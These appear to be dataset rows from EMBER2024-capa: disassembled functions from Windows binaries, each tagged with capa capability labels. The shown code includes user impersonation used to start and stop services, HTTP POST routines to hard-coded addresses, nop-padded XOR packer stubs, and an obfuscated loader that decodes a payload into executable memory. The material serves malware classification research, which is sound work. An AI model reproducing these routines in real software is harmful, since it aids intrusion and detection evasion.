joyce8/EMBER2024-capa huggingface dataset:
Function at 0x401544
Capabilities:
Delete file
Get common file path
Query environment variable
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x414
push ebx
push esi
push edi
mov edi, dword [ebp + 8]
lea eax, [ebp - 0x414]
xor esi, esi
mov dword [ebp - 4], esi
cmp dword [edi + 0x10], esi
je 0x401574
push 0x208
push eax
push dword [edi + 0x10]
call dword [sym.imp.KERNEL32.dll_ExpandEnvironmentStringsW]
jmp 0x401595
push eax
push 0x208
call dword [sym.imp.KERNEL32.dll_GetCurrentDirectoryW]
lea eax, [ebp - 0x414]
push eax
push 0x7b
push str.Temp
push eax
call dword [sym.imp.KERNEL32.dll_GetTempFileNameW]
push esi
push esi
push 2
push esi
push esi
push 0x40000000
lea eax, [ebp - 0x414]
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov ebx, eax
cmp ebx, 0xffffffff
je 0x4015d1
push esi
lea eax, [ebp - 4]
push eax
push dword [edi + 0xc]
push dword [edi + 0x14]
push ebx
call dword [sym.imp.KERNEL32.dll_WriteFile]
push ebx
mov esi, eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x4015de
lea eax, [ebp - 0x414]
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
pop edi
mov eax, esi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x4015e7
Capabilities:
Create a process with modified i/o handles and window
Create process on windows
Query environment variable

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xa7c
push esi
push edi
push 0x44
pop esi
lea eax, [ebp - 0x54]
push esi
push eax
call fcn.00401b79
lea eax, [ebp - 0x10]
push 0x10
push eax
call fcn.00401b79
or dword [ebp - 0x28], 0x101
add esp, 0x10
mov dword [ebp - 0x54], esi
mov esi, dword [ebp + 8]
push 0x104
mov eax, dword [esi + 0x18]
mov dword [ebp - 0x14], eax
mov dword [ebp - 0x18], eax
xor eax, eax
mov word [ebp - 0x24], ax
lea eax, [ebp - 0x25c]
push eax
push str._ComSpec_
call dword [sym.imp.KERNEL32.dll_ExpandEnvironmentStringsW]
push dword [esi + 0x10]
lea eax, [ebp - 0xa7c]
push str._c_sc_stop__s
push eax
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0xc
lea eax, [ebp - 0x10]
push eax
lea eax, [ebp - 0x54]
push eax
xor eax, eax
push eax
push eax
push 0x8000000
push 1
push eax
push eax
lea eax, [ebp - 0xa7c]
push eax
lea eax, [ebp - 0x25c]
push eax
call dword [sym.imp.KERNEL32.dll_CreateProcessW]
cmp dword [ebp - 0x10], 0
mov edi, eax
je 0x4016b1
push 0xffffffffffffffff
push dword [ebp - 0x10]
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
test eax, eax
jne 0x4016b1
push dword [esi + 0x18]
call dword [sym.imp.KERNEL32.dll_FlushFileBuffers]
push dword [ebp - 0xc]
mov esi, dword [sym.imp.KERNEL32.dll_CloseHandle]
call esi
push dword [ebp - 0x10]
call esi
mov eax, edi
pop edi
pop esi
mov esp, ebp
pop ebp
ret
Function at 0x4016b9
Capabilities:
Accept command line arguments
Impersonate user
Start service

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
push esi
push edi
lea eax, [ebp - 8]
xor edi, edi
push eax
mov eax, dword [ebp + 8]
mov dword [ebp - 8], edi
push dword [eax + 0x10]
call dword [sym.imp.SHELL32.dll_CommandLineToArgvW]
mov esi, eax
mov dword [ebp - 4], edi
lea eax, [ebp - 4]
mov dword [ebp + 8], edi
push eax
push edi
push 3
push dword [esi + 4]
push edi
push dword [esi]
call dword [sym.imp.ADVAPI32.dll_LogonUserW]
test eax, eax
je 0x401772
lea eax, [ebp + 8]
push eax
push 1
push 2
push edi
push edi
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_DuplicateTokenEx]
test eax, eax
je 0x401769
push dword [ebp + 8]
call dword [sym.imp.ADVAPI32.dll_ImpersonateLoggedOnUser]
test eax, eax
je 0x401760
push 0xf003f
push edi
push edi
call dword [sym.imp.ADVAPI32.dll_OpenSCManagerW]
mov edi, eax
test edi, edi
je 0x401753
push 0x1c
push dword [esi + 8]
push edi
call dword [sym.imp.ADVAPI32.dll_OpenServiceW]
mov dword [ebp - 0xc], eax
test eax, eax
je 0x401753
push 0
push 0
push eax
call dword [sym.imp.ADVAPI32.dll_StartServiceW]
push dword [ebp - 0xc]
call dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
push edi
call dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
call dword [sym.imp.ADVAPI32.dll_RevertToSelf]
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push dword [ebp - 4]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push esi
call dword [sym.imp.KERNEL32.dll_LocalFree]
xor eax, eax
pop edi
inc eax
pop esi
mov esp, ebp
pop ebp
ret

Function at 0x401782
Capabilities:
Accept command line arguments
Impersonate user
Stop service

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x30
push esi
push edi
lea eax, [ebp - 8]
xor edi, edi
push eax
mov eax, dword [ebp + 8]
mov dword [ebp - 8], edi
push dword [eax + 0x10]
call dword [sym.imp.SHELL32.dll_CommandLineToArgvW]
mov esi, eax
mov dword [ebp - 4], edi
lea eax, [ebp - 4]
mov dword [ebp + 8], edi
push eax
push edi
push 3
push dword [esi + 4]
push edi
push dword [esi]
call dword [sym.imp.ADVAPI32.dll_LogonUserW]
test eax, eax
je 0x40183d
lea eax, [ebp + 8]
push eax
push 1
push 2
push edi
push edi
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_DuplicateTokenEx]
test eax, eax
je 0x401834
push dword [ebp + 8]
call dword [sym.imp.ADVAPI32.dll_ImpersonateLoggedOnUser]
test eax, eax
je 0x40182b
push 0xf003f
push edi
push edi
call dword [sym.imp.ADVAPI32.dll_OpenSCManagerW]
mov edi, eax
test edi, edi
je 0x40181e
push 0x2c
push dword [esi + 8]
push edi
call dword [sym.imp.ADVAPI32.dll_OpenServiceW]
mov dword [ebp - 0xc], eax
test eax, eax
je 0x40181e
lea ecx, [ebp - 0x30]
push ecx
push 1
push eax
call dword [sym.imp.ADVAPI32.dll_ControlService]
push dword [ebp - 0xc]
call dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
push edi
call dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
call dword [sym.imp.ADVAPI32.dll_RevertToSelf]
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push dword [ebp - 4]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push esi
call dword [sym.imp.KERNEL32.dll_LocalFree]
xor eax, eax
pop edi
inc eax
pop esi
mov esp, ebp
pop ebp
ret
Function at 0x401920
Capabilities:
Delete file

Disassembly:
push ebp
mov ebp, esp
push esi
mov esi, dword [ebp + 8]
test esi, esi
je 0x40195e
cmp dword [esi + 8], 0
je 0x40193a
push dword [esi + 0x10]
call fcn.00401b0a
pop ecx
cmp dword [esi + 0xc], 0
je 0x401949
push dword [esi + 0x14]
call fcn.00401b0a
pop ecx
lea eax, [esi + 0x1c]
test eax, eax
je 0x401957
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
push esi
call fcn.00401b0a
pop ecx
pop esi
pop ebp
ret

Function at 0x401a45
Capabilities:
Check if file exists
Create directory
Get common file path
Query environment variable

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x208
lea eax, [ebp - 0x208]
push esi
mov esi, 0x104
push esi
push eax
push str.TEMP
call dword [sym.imp.KERNEL32.dll_GetEnvironmentVariableW]
lea eax, [ebp - 0x208]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_GetTempPathW]
cmp eax, esi
ja 0x401ab8
test eax, eax
je 0x401ab8
lea eax, [ebp - 0x208]
push eax
call dword [sym.imp.SHLWAPI.dll_PathFileExistsW]
xor esi, esi
test eax, eax
jne 0x401a9e
push esi
lea eax, [ebp - 0x208]
push eax
call dword [sym.imp.KERNEL32.dll_CreateDirectoryW]
push dword [ebp + 8]
lea eax, [ebp - 0x208]
push esi
push esi
push eax
call dword [sym.imp.KERNEL32.dll_GetTempFileNameW]
neg eax
sbb eax, eax
neg eax
jmp 0x401aba
xor eax, eax
pop esi
mov esp, ebp
pop ebp
ret

Function at 0x401dce
Capabilities:
Reference http user-agent string

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
push esi
push edi
push 2
mov dword [ebp - 4], 1
call fcn.00401abf
mov edi, eax
pop ecx
test edi, edi
je 0x401e75
lea eax, [ebp - 4]
push eax
push edi
push 0
call sub.urlmon.dll_ObtainUserAgentString
mov esi, 0x8007000e
jmp 0x401e1a
push dword [ebp - 4]
push edi
call fcn.00401b21
pop ecx
pop ecx
mov edi, eax
lea eax, [ebp - 4]
push eax
push edi
push 0
call sub.urlmon.dll_ObtainUserAgentString
cmp eax, esi
je 0x401e01
test eax, eax
jns 0x401e63
test edi, edi
je 0x401e2d
push edi
call fcn.00401b0a
pop ecx
mov edi, dword [sym.imp.KERNEL32.dll_lstrlenW]
mov ebx, str.Mozilla_4.0__compatible__MSIE_7.0__Windows_NT_5.1__InfoPath.1_
push ebx
call edi
lea eax, [eax*2 + 2]
push eax
call fcn.00401abf
mov esi, eax
pop ecx
test esi, esi
je 0x401e75
push ebx
call edi
add eax, eax
push eax
push ebx
push esi
call fcn.00401ad6
add esp, 0xc
mov eax, esi
jmp 0x401e77
push edi
call fcn.00401c0c
push edi
mov esi, eax
call fcn.00401b0a
pop ecx
pop ecx
jmp 0x401e5f
xor eax, eax
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x401e7e
Capabilities:
Check http status code
Read http header
Receive http response
Send data
Send http request

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x34
push ebx
push esi
xor eax, eax
xor ebx, ebx
push edi
mov dword [ebp - 0x24], eax
inc ebx
call fcn.0040242a
mov dword [ebp - 0x2c], 4
call fcn.00401c9e
push eax
mov dword [ebp - 0x20], eax
call fcn.00401b50
mov dword [ebp - 8], eax
call fcn.00401c72
push eax
mov dword [ebp - 0x1c], eax
call fcn.00401b50
mov dword [ebp - 0x10], eax
call fcn.00401cdd
push eax
mov dword [ebp - 0x18], eax
call fcn.00401b50
add esp, 0xc
mov dword [ebp - 0xc], eax
call fcn.00402383
mov edi, dword [ebp + 8]
mov ecx, eax
mov eax, dword [ebp - 8]
mov esi, dword [sym.imp.WINHTTP.dll_WinHttpWriteData]
add eax, 0x14
mov dword [ebp - 0x14], ecx
add ecx, dword [ebp - 0xc]
add ecx, dword [ebp - 0x10]
add eax, ecx
mov dword [ebp - 0x28], eax
push 0x1f4
call dword [sym.imp.KERNEL32.dll_Sleep]
xor eax, eax
push eax
push dword [ebp - 0x28]
push eax
push eax
push eax
push eax
push edi
call dword [sym.imp.WINHTTP.dll_WinHttpSendRequest]
test eax, eax
je 0x402022
lea eax, [ebp - 4]
push eax
push 4
lea eax, [ebp - 0x2c]
push eax
push edi
call esi
lea eax, [ebp - 4]
push eax
push 4
lea eax, [ebp - 8]
push eax
push edi
call esi
lea eax, [ebp - 4]
push eax
push 4
lea eax, [ebp - 0xc]
push eax
push edi
call esi
lea eax, [ebp - 4]
push eax
push 4
lea eax, [ebp - 0x10]
push eax
push edi
call esi
lea eax, [ebp - 4]
push eax
push 4
lea eax, [ebp - 0x14]
push eax
push edi
call esi
lea eax, [ebp - 4]
push eax
push dword [ebp - 8]
push dword [ebp - 0x20]
push edi
call esi
lea eax, [ebp - 4]
push eax
push dword [ebp - 0xc]
push dword [ebp - 0x18]
push edi
call esi
lea eax, [ebp - 4]
push eax
push dword [ebp - 0x10]
push dword [ebp - 0x1c]
push edi
call esi
cmp dword [ebp - 0x14], 0
je 0x401fb3
push dword [ebp - 0x14]
call fcn.00401abf
mov esi, eax
push esi
call fcn.0040243e
pop ecx
pop ecx
lea ecx, [ebp - 4]
push ecx
push eax
push esi
push edi
call dword [sym.imp.WINHTTP.dll_WinHttpWriteData]
push esi
call fcn.00401b0a
mov esi, dword [sym.imp.WINHTTP.dll_WinHttpWriteData]
pop ecx
push 0
push edi
call dword [sym.imp.WINHTTP.dll_WinHttpReceiveResponse]
test eax, eax
je 0x401ff0
push 0
lea eax, [ebp - 0x24]
mov dword [ebp - 0x24], 4
push eax
lea eax, [ebp - 0x30]
push eax
push 0
push 0x20000013
push edi
call dword [sym.imp.WINHTTP.dll_WinHttpQueryHeaders]
xor eax, eax
cmp dword [ebp - 0x30], 0xc8
sete al
mov dword [ebp - 0x24], eax
xor ebx, ebx
test ebx, ebx
jne 0x401ef5
call fcn.004024ba
push dword [ebp - 0x18]
call fcn.00401b0a
push dword [ebp - 0x1c]
call fcn.00401b0a
push dword [ebp - 0x20]
call fcn.00401b0a
mov eax, dword [ebp - 0x24]
add esp, 0xc
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x2f8f
jne 0x401fee
push 4
lea eax, [ebp - 0x34]
mov dword [ebp - 0x34], 0x3300
push eax
push 0x1f
push edi
call dword [sym.imp.WINHTTP.dll_WinHttpSetOption]
xor ebx, ebx
inc ebx
jmp 0x401ef5
Function at 0x40204d
Capabilities:
Initialize winhttp library
Prepare http request
Read http header
Receive http response

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20
push esi
push edi
xor edi, edi
call fcn.00401dce
push edi
push edi
push str.10.11.2.34:8080
push 3
push eax
call dword [sym.imp.WINHTTP.dll_WinHttpOpen]
mov esi, eax
mov dword [ebp - 0x1c], esi
test esi, esi
je 0x40216c
push edi
push dword [ebp + 0xc]
push dword [ebp + 8]
push esi
call dword [sym.imp.WINHTTP.dll_WinHttpConnect]
mov ecx, eax
mov dword [ebp - 0x20], ecx
test ecx, ecx
je 0x402165
push ebx
xor edx, edx
mov ebx, 0x1bb
cmp word [ebp + 0xc], bx
mov eax, 0x800000
cmovne eax, edx
push eax
push edi
push edi
push edi
push edi
push str.POST
push ecx
call dword [sym.imp.WINHTTP.dll_WinHttpOpenRequest]
mov ebx, eax
test ebx, ebx
je 0x40215b
mov esi, dword [sym.imp.WINHTTP.dll_WinHttpSetOption]
lea eax, [ebp - 8]
push 4
push eax
push 3
push ebx
mov dword [ebp - 8], 0xea60
call esi
push 4
lea eax, [ebp - 8]
push eax
push 5
push ebx
call esi
push 4
lea eax, [ebp - 8]
push eax
push 6
push ebx
call esi
push ebx
call fcn.00401e7e
pop ecx
test eax, eax
je 0x402151
push edi
lea eax, [ebp - 0x10]
mov dword [ebp - 0xc], edi
push eax
lea eax, [ebp - 4]
mov dword [ebp - 4], edi
push eax
push edi
push 0x20000005
push ebx
mov dword [ebp - 0x10], 4
call dword [sym.imp.WINHTTP.dll_WinHttpQueryHeaders]
cmp dword [ebp - 4], edi
je 0x402151
push dword [ebp - 4]
call fcn.00401abf
mov esi, dword [ebp - 4]
mov edi, eax
mov dword [ebp - 0x18], edi
pop ecx
test esi, esi
je 0x402151
lea eax, [ebp - 0xc]
push eax
push esi
push edi
push ebx
call dword [sym.imp.WINHTTP.dll_WinHttpReadData]
add edi, dword [ebp - 0xc]
sub esi, dword [ebp - 0xc]
jne 0x402139
mov edi, dword [ebp - 0x18]
push ebx
call dword [sym.imp.WINHTTP.dll_WinHttpCloseHandle]
mov esi, dword [ebp - 0x1c]
push dword [ebp - 0x20]
call dword [sym.imp.WINHTTP.dll_WinHttpCloseHandle]
pop ebx
push esi
call dword [sym.imp.WINHTTP.dll_WinHttpCloseHandle]
mov eax, edi
pop edi
pop esi
mov esp, ebp
pop ebp
ret
Function at 0x402174
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
push esi
push 0
push 0x1bb
push str.1.23.456.789
call fcn.0040204d
mov esi, eax
push esi
mov dword [ebp - 0xc], esi
call fcn.00401b50
add esp, 0x10
test eax, eax
je 0x402253
push ebx
push dword [ebp + 8]
xor ebx, ebx
inc ebx
push ebx
push esi
call fcn.00401d83
push 0
push 2
push esi
call fcn.00401d83
add esp, 0x18
test eax, eax
je 0x402252
push edi
push eax
call fcn.00401abf
mov edi, eax
push edi
push 2
push esi
mov dword [ebp - 4], edi
call fcn.00401d83
push edi
call fcn.00401d72
add esp, 0x14
mov dword [ebp - 8], eax
cmp eax, ebx
jb 0x40224a
xor esi, esi
push esi
push ebx
push edi
call fcn.00401d83
add esp, 0xc
test eax, eax
je 0x402241
push eax
call fcn.00401abf
mov edi, eax
push edi
push ebx
push dword [ebp - 4]
call fcn.00401d83
push edi
call fcn.0040184d
add esp, 0x14
push esi
push esi
push eax
push 0x401961
push esi
push esi
call dword [sym.imp.KERNEL32.dll_CreateThread]
push edi
mov esi, eax
call fcn.00401b0a
mov dword [esp], 0x3e8
push esi
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov edi, dword [ebp - 4]
xor esi, esi
inc ebx
cmp ebx, dword [ebp - 8]
jbe 0x4021ec
mov esi, dword [ebp - 0xc]
push edi
call fcn.00401b0a
pop ecx
pop edi
pop ebx
push esi
call fcn.00401b0a
pop ecx
xor eax, eax
pop esi
mov esp, ebp
pop ebp
ret

Function at 0x4023a8
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x208
push edi
xor edi, edi
push edi
push edi
push edi
call dword [sym.imp.KERNEL32.dll_CreateMutexW]
mov dword [0x404004], eax
test eax, eax
je 0x402423
lea eax, [ebp - 0x208]
push eax
push edi
push edi
push 0x2e
push edi
call dword [sym.imp.SHELL32.dll_SHGetFolderPathW]
push 0x403260
lea eax, [ebp - 0x208]
push eax
call dword [sym.imp.SHLWAPI.dll_PathAppendW]
push str.imapi
lea eax, [ebp - 0x208]
push eax
call dword [sym.imp.SHLWAPI.dll_PathAppendW]
push edi
push 2
push 4
push edi
push edi
push 0x10000000
lea eax, [ebp - 0x208]
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileW]
xor ecx, ecx
mov dword [section..data], eax
inc ecx
cmp eax, 0xffffffff
cmovne edi, ecx
mov eax, edi
pop edi
mov esp, ebp
pop ebp
ret
Function at 0x430002
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
mov eax, section..text
nop
nop
nop
nop
push 4
nop
nop
pop edi
nop
nop
nop
nop
nop
nop
cmp eax, 0
nop
nop
nop
je 0x430072
nop
nop
nop
mov ebx, 0x408ed0
nop
nop
mov ecx, ebx
nop
nop
nop
sub ecx, eax
nop
nop
nop
nop
nop
xor edx, edx
nop
nop
nop
nop
nop
nop
push eax
nop
nop
mov eax, ecx
nop
nop
nop
nop
nop
div edi
nop
nop
nop
nop
nop
xchg ecx, eax
nop
nop
nop
pop eax
nop
nop
nop
nop
mov esi, 0x6d6d6406
nop
nop
nop
xor dword [eax], esi
nop
nop
nop
add eax, edi
nop
nop
nop
nop
loop 0x430060
nop
nop
nop
mov eax, section..data
nop
nop
cmp eax, 0
nop
nop
nop
nop
nop
je 0x4300d2
nop
nop
mov ebx, 0x42e1d0
nop
mov ecx, ebx
nop
nop
nop
nop
nop
nop
nop
sub ecx, eax
nop
xor edx, edx
nop
nop
nop
nop
nop
push eax
nop
nop
nop
nop
nop
mov eax, ecx
nop
nop
nop
nop
div edi
nop
nop
xchg ecx, eax
nop
nop
nop
nop
nop
nop
nop
nop
pop eax
nop
nop
nop
mov esi, 0x52fe1c06
xor dword [eax], esi
nop
nop
nop
nop
add eax, edi
nop
nop
nop
nop
loop 0x4300c0
nop
nop
nop
nop
nop
nop
nop
nop
nop
popal
jmp 0x401219

Function at 0x42e001
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
call 0x42e00c
nop
pop eax
nop
nop
nop
nop
add eax, 0x403ac5
nop
sub eax, 0x403a6b
nop
nop
nop
nop
nop
mov ebx, dword [eax]
nop
nop
nop
mov ecx, dword [eax + 4]
mov edx, dword [eax + 8]
nop
nop
nop
nop
nop
nop
nop
xor dword [ebx], edx
add ebx, 4
nop
nop
nop
nop
nop
nop
cmp ebx, ecx
nop
jl 0x42e030
nop
nop
nop
nop
add eax, 0xc
nop
nop
nop
nop
nop
cmp dword [eax], 0
nop
nop
nop
nop
jne 0x42e01e
nop
nop
nop
nop
popal
nop
nop
jmp fcn.00401219
Function at 0x41efea
Capabilities:
Link many functions at runtime
Print debug messages

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x24
mov eax, dword [0x4f5c30]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push ebx
mov ebx, dword [sym.imp.KERNEL32.dll_EncodePointer]
push esi
push edi
mov dword [ebp - 0x1c], eax
mov eax, dword [ebp + 0xc]
xor edi, edi
push edi
mov dword [ebp - 0x20], eax
call ebx
mov esi, eax
mov dword [ebp - 0x18], esi
call fcn.0041c830
mov dword [ebp - 0x14], eax
cmp dword [0x4f7798], edi
jne 0x41f0db
push 0x800
push edi
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryExW]
mov esi, eax
test esi, esi
jne 0x41f068
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x57
jne 0x41f1bb
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov esi, eax
test esi, esi
je 0x41f1bb
push str.MessageBoxW
push esi
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
test eax, eax
je 0x41f1bb
push eax
call ebx
push str.GetActiveWindow
push esi
mov dword [0x4f7798], eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call ebx
push str.GetLastActivePopup
push esi
mov dword [0x4f779c], eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call ebx
push str.GetUserObjectInformationW
push esi
mov dword [0x4f77a0], eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call ebx
mov dword [0x4f77a8], eax
test eax, eax
je 0x41f0d8
push str.GetProcessWindowStation
push esi
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call ebx
mov dword [0x4f77a4], eax
mov esi, dword [ebp - 0x18]
call dword [sym.imp.KERNEL32.dll_IsDebuggerPresent]
test eax, eax
je 0x41f100
mov eax, dword [ebp - 0x1c]
test eax, eax
je 0x41f0f3
push eax
call dword [sym.imp.KERNEL32.dll_OutputDebugStringW]
cmp dword [ebp - 0x14], edi
je 0x41f115
push 4
pop eax
jmp 0x41f1bd
cmp dword [ebp - 0x14], edi
je 0x41f115
push dword [0x4f7798]
call dword [sym.imp.KERNEL32.dll_DecodePointer]
push 3
jmp 0x41f0fa
mov eax, dword [0x4f77a4]
mov ebx, dword [sym.imp.KERNEL32.dll_DecodePointer]
cmp eax, esi
je 0x41f173
cmp dword [0x4f77a8], esi
je 0x41f173
push eax
call ebx
push dword [0x4f77a8]
mov dword [ebp - 0x14], eax
call ebx
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0x18], eax
test ecx, ecx
je 0x41f173
test eax, eax
je 0x41f173
call ecx
test eax, eax
je 0x41f168
lea ecx, [ebp - 0x24]
push ecx
push 0xc
lea ecx, [ebp - 0x10]
push ecx
push 1
push eax
call dword [ebp - 0x18]
test eax, eax
je 0x41f168
test byte [ebp - 8], 1
jne 0x41f173
mov esi, dword [ebp + 0x10]
or esi, 0x200000
jmp 0x41f1a3
mov eax, dword [0x4f779c]
cmp eax, esi
je 0x41f1a0
push eax
call ebx
test eax, eax
je 0x41f1a0
call eax
mov edi, eax
test edi, edi
je 0x41f1a0
mov eax, dword [0x4f77a0]
cmp eax, esi
je 0x41f1a0
push eax
call ebx
test eax, eax
je 0x41f1a0
push edi
call eax
mov edi, eax
mov esi, dword [ebp + 0x10]
push dword [0x4f7798]
call ebx
test eax, eax
je 0x41f1bb
push esi
push dword [ebp - 0x20]
push dword [ebp - 0x1c]
push edi
call eax
jmp 0x41f1bd
xor eax, eax
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.0041d7e3
leave
ret
Function at 0x432003
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
call 0x43200c
nop
nop
nop
nop
nop
pop eax
add eax, 0x40729f
nop
sub eax, 0x407245
nop
nop
nop
nop
nop
mov ebx, dword [eax]
nop
mov ecx, dword [eax + 4]
nop
nop
nop
mov edx, dword [eax + 8]
nop
nop
nop
xor dword [ebx], edx
nop
nop
nop
add ebx, 4
nop
nop
nop
nop
cmp ebx, ecx
nop
nop
nop
nop
nop
nop
jl 0x432030
nop
nop
nop
nop
add eax, 0xc
nop
nop
cmp dword [eax], 0
nop
nop
nop
nop
jne 0x43201e
nop
nop
nop
nop
nop
nop
popal
jmp 0x431219
Function at 0x2e010a0b
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x18
pushal
call 0x2e010a1a
pop dword [ebp - 8]
mov eax, 0xf0faa7f5
sub eax, 0xc2f99ddb
sub dword [ebp - 8], eax
mov dword [ebp - 0x18], 0xe16db2d6
add dword [ebp - 0x18], 0x6ce49275
mov dword [ebp - 0x14], 0x516bad33
add dword [ebp - 0x14], 0xe0c79f12
mov dword [ebp - 0x10], 0x160e8450
sub dword [ebp - 0x10], 0xc9c24022
mov dword [ebp - 0xc], 0xcc37f61e
add dword [ebp - 0xc], 0x33c809e2
lea eax, [ebp - 0x18]
push eax
mov eax, 0x1824f3a2
add eax, 0x15de3d26
add eax, dword [ebp - 8]
call dword [eax]
mov dword [ebp - 0x18], 0x32aa93c2
sub dword [ebp - 0x18], 0xbe382a6c
mov dword [ebp - 0x14], 0x22aa3276
add dword [ebp - 0x14], 0x1ec22eff
mov dword [ebp - 0x10], 0x5cfcb6f3
sub dword [ebp - 0x10], 0xf98d4a87
mov dword [ebp - 0xc], 0x48ec382d
add dword [ebp - 0xc], 0xb713c7d3
lea ebx, [ebp - 0x18]
push ebx
push eax
mov eax, 0xd1b05d74
add eax, 0x5c52d348
add eax, dword [ebp - 8]
call dword [eax]
push 0x40
push 0x1000
push 0x4010c
push 0
call eax
mov ecx, 0x43e1
xor edi, edi
add edi, eax
mov ebx, 0xc205bc4e
sub ebx, 0x94003e4e
add ebx, dword [ebp - 8]
mov esi, 0x8e9c190f
sub dword [ebp - 4], 0x9bae7e5
mov edx, dword [ebx]
add edx, esi
sub dword [ebp - 4], ecx
mov dword [edi], edx
xor dword [ebp - 4], edi
add edi, 4
add ebx, 0x83634804
add ebx, 0x7c9cb800
loop 0x2e010b32
add eax, 0x1a287db8
add eax, 0xe5d8849f
xor ebx, ebx
add ebx, eax
add eax, 0x5ed9fa73
add eax, 0xa1260592
mov ecx, 0x2e000000
add ecx, dword [ebp - 8]
call ebx
leave
ret

Function at 0x2e01416e
Capabilities:
Query or enumerate registry value

Disassembly:
push 0x10
mov eax, 0x2e0306d8
call fcn.2e001511
mov edi, ecx
mov dword [ebp - 0x18], edi
xor ebx, ebx
mov dword [edi + 0x14], 0xf
mov dword [edi + 0x10], ebx
mov byte [edi], bl
mov dword [ebp - 4], ebx
call fcn.2e014eb5
test ax, ax
je 0x2e014216
lea eax, [ebp - 0x10]
push eax
push str.softwaremicrosoftwindows_shell_associationsurlassociationshttpuserchoice
push 0x80000001
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyA]
test eax, eax
jne 0x2e014216
lea eax, [ebp - 0x14]
push eax
push ebx
push ebx
push ebx
push str.progid
push dword [ebp - 0x10]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
jne 0x2e01420d
mov eax, dword [ebp - 0x14]
inc eax
push eax
call fcn.2e010a0b
mov esi, eax
pop ecx
mov dword [ebp - 0x1c], esi
lea eax, [ebp - 0x14]
mov byte [ebp - 4], 1
push eax
push esi
push ebx
push ebx
push str.progid
push dword [ebp - 0x10]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
jne 0x2e014200
push esi
mov ecx, edi
call fcn.2e010e6c
push 1
push esi
mov byte [ebp - 4], bl
call fcn.2e010a0b
pop ecx
pop ecx
push dword [ebp - 0x10]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, edi
call fcn.2e00155b
ret